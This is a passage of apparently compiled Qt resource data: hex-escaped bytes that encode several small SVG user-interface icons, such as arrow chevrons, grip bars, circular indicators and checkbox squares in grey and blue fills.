\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x33\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x70\x78\x22\x20\x76\x69\
\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x36\x33\x20\x37\x22\
\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\
\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x36\x33\x20\x37\
\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\
\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x69\x64\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x64\x61\x74\x61\x2d\
\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\x20\x78\x3d\x22\x32\
\x35\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\
\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\x3e\x0a\
\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\
\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\
\x72\x6b\x32\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\
\x33\x31\x22\x20\x78\x3d\x22\x33\x38\x22\x20\x79\x3d\x22\x31\x22\
\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\
\x74\x3d\x22\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x69\x64\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x64\x61\x74\x61\
\x2d\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\
\x22\x32\x33\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\
\x3d\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\
\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\x69\
\x67\x68\x74\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\
\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x33\x30\x22\x20\x79\
\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\
\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\
\x33\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\
\x22\x20\x78\x3d\x22\x33\x36\x22\x20\x79\x3d\x22\x31\x22\x20\x77\
\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\
\x22\x35\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xcf\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x39\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\x36\x36\x39\x37\x32\
\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x33\x2e\x33\x31\x30\
\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x2d\x33\
\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\
\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\
\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x37\x37\
\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x30\
\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\x31\x35\x37\x37\x30\
\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x30\x2e\x34\x31\
\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\
\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x33\x2e\
\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\
\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x30\x2e\x31\
\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\
\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\x34\x31\x33\x34\x2c\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x2d\x30\x2e\
\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x35\x37\x31\x31\x33\
\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\
\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\
\x30\x62\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x57\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x30\x22\x20\x3e\
\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x69\x64\x3d\x22\x42\x6f\x74\
\x74\x6f\x6d\x43\x69\x72\x63\x6c\x65\x22\x20\x64\x3d\x22\x4d\x31\
\x30\x30\x2c\x35\x30\x30\x20\x61\x32\x35\x30\x2c\x32\x35\x30\x2c\
\x20\x30\x2c\x20\x31\x2c\x30\x2c\x20\x38\x30\x30\x2c\x30\x20\x4d\
\x37\x37\x35\x2c\x35\x30\x30\x20\x4c\x35\x30\x30\x2c\x37\x37\x35\
\x20\x4c\x32\x32\x35\x2c\x35\x30\x30\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x61\x32\x61\x32\x61\x32\x22\x20\x2f\x3e\x0a\x20\
\x20\x3c\x70\x61\x74\x68\x20\x69\x64\x3d\x22\x54\x6f\x70\x43\x69\
\x72\x63\x6c\x65\x22\x20\x64\x3d\x22\x4d\x39\x30\x30\x2c\x35\x30\
\x30\x20\x61\x32\x35\x30\x2c\x32\x35\x30\x2c\x20\x30\x2c\x20\x31\
\x2c\x30\x2c\x20\x2d\x38\x30\x30\x2c\x30\x20\x4d\x32\x32\x35\x2c\
\x35\x30\x30\x20\x4c\x35\x30\x30\x2c\x32\x32\x35\x20\x4c\x37\x37\
\x35\x2c\x35\x30\x30\x20\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x61\x32\x61\x32\x61\x32\x22\x20\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x69\x64\x3d\x22\x49\x6e\x73\x69\x64\x65\x22\x20\
\x64\x3d\x22\x4d\x32\x37\x35\x2c\x35\x30\x30\x20\x4c\x20\x35\x30\
\x30\x2c\x37\x32\x35\x20\x4c\x20\x37\x32\x35\x2c\x35\x30\x30\x20\
\x4c\x20\x35\x30\x30\x2c\x32\x37\x35\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x61\x32\x61\x32\x61\x32\x22\x20\x2f\x3e\x0a\x3c\
\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xab\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x35\x38\x64\x33\x66\x66\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\
\x38\x64\x33\x66\x66\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x34\x2c\x31\x30\x61\x36\x2c\
\x36\x20\x30\x20\x31\x2c\x30\x20\x31\x32\x2c\x30\x61\x36\x2c\x36\
\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x32\x2c\x30\x22\x20\x66\x69\
\x6c\x6c\x3d\x22\x23\x35\x38\x64\x33\x66\x66\x22\x20\x66\x69\x6c\
\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\
\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xcc\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x39\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\x36\x36\x39\x37\x32\
\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x33\x2e\x33\x31\x30\
\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x2d\x33\
\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\
\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\
\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x37\x37\
\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x30\
\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\x31\x35\x37\x37\x30\
\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x30\x2e\x34\x31\
\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\
\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x33\x2e\
\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\
\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x30\x2e\x31\
\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\
\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\x34\x31\x33\x34\x2c\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x2d\x30\x2e\
\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x35\x37\x31\x31\x33\
\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\
\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x66\x66\x66\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x2a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x30\x2e\x39\x31\
\x37\x36\x39\x37\x31\x38\x20\x34\x2e\x35\x2c\x34\x2e\x32\x32\x38\
\x30\x31\x38\x32\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x30\
\x2e\x39\x31\x36\x32\x37\x36\x34\x38\x20\x63\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\
\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\
\x30\x32\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\
\x2e\x34\x31\x33\x34\x33\x34\x39\x32\x20\x30\x2c\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x32\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\
\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x20\x30\x2c\
\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\
\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\
\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\
\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x31\x2e\x34\x38\x37\
\x34\x31\x33\x34\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\
\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\
\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x31\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x35\x37\
\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\x64\x61\x65\x65\x39\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xf4\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\
\x30\x62\x30\x62\x30\x22\x20\x64\x3d\x22\x4d\x32\x32\x2e\x31\x2c\
\x31\x30\x32\x32\x2e\x31\x4c\x2d\x32\x32\x2e\x31\x2c\x39\x37\x37\
\x2e\x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\x30\x4c\x31\x30\x32\
\x32\x2e\x31\x2c\x32\x32\x2e\x31\x5a\x6d\x32\x32\x30\x2c\x33\x30\
\x4c\x31\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\x39\x6c\x31\x30\
\x30\x30\x2d\x31\x30\x30\x30\x4c\x31\x32\x34\x32\x2e\x31\x2c\x35\
\x32\x2e\x31\x5a\x6d\x32\x35\x30\x2c\x30\x4c\x34\x34\x37\x2e\x39\
\x2c\x31\x30\x30\x37\x2e\x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\
\x30\x4c\x31\x34\x39\x32\x2e\x31\x2c\x35\x32\x2e\x31\x5a\x6d\x32\
\x35\x30\x2c\x30\x4c\x36\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\
\x39\x6c\x31\x30\x33\x30\x2d\x31\x30\x33\x30\x4c\x31\x37\x37\x32\
\x2e\x31\x2c\x32\x32\x2e\x31\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\
\x67\x3e\x0a\
\x00\x00\x01\xec\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x37\x2e\x31\x20\x68\x2d\
\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\x38\
\x64\x33\x66\x66\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\
\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x31\x33\x20\x68\x2d\
\x38\x20\x76\x2d\x38\x20\x68\x30\x2e\x39\x20\x76\x37\x2e\x31\x20\
\x68\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\
\x38\x64\x33\x66\x66\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x35\x20\x4c\x20\
\x35\x2c\x31\x33\x20\x76\x2d\x38\x20\x68\x38\x20\x7a\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x35\x38\x64\x33\x66\x66\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x52\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x22\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x61\x66\x61\x66\x61\
\x66\x22\x20\x64\x3d\x22\x4d\x35\x2e\x35\x2c\x33\x48\x31\x32\x2e\
\x35\x4c\x39\x2c\x39\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x00\xfd\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x34\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x36\x20\x36\
\x34\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x36\
\x20\x36\x34\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\
\x63\x74\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\x66\x35\x66\x35\x66\
\x22\x20\x78\x3d\x22\x32\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\
\x64\x74\x68\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\
\x36\x32\x2e\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x35\x66\x35\x66\x35\x66\x22\x20\x78\
\x3d\x22\x39\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\
\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x32\x2e\
\x35\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x55\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x63\x38\x63\x39\x63\x61\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x63\
\x38\x63\x39\x63\x61\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x3c\x2f\x73\
\x76\x67\x3e\x0a\
\x00\x00\x00\x5a\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x66\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\
\x38\x22\x20\x78\x3d\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\
\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x1f\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
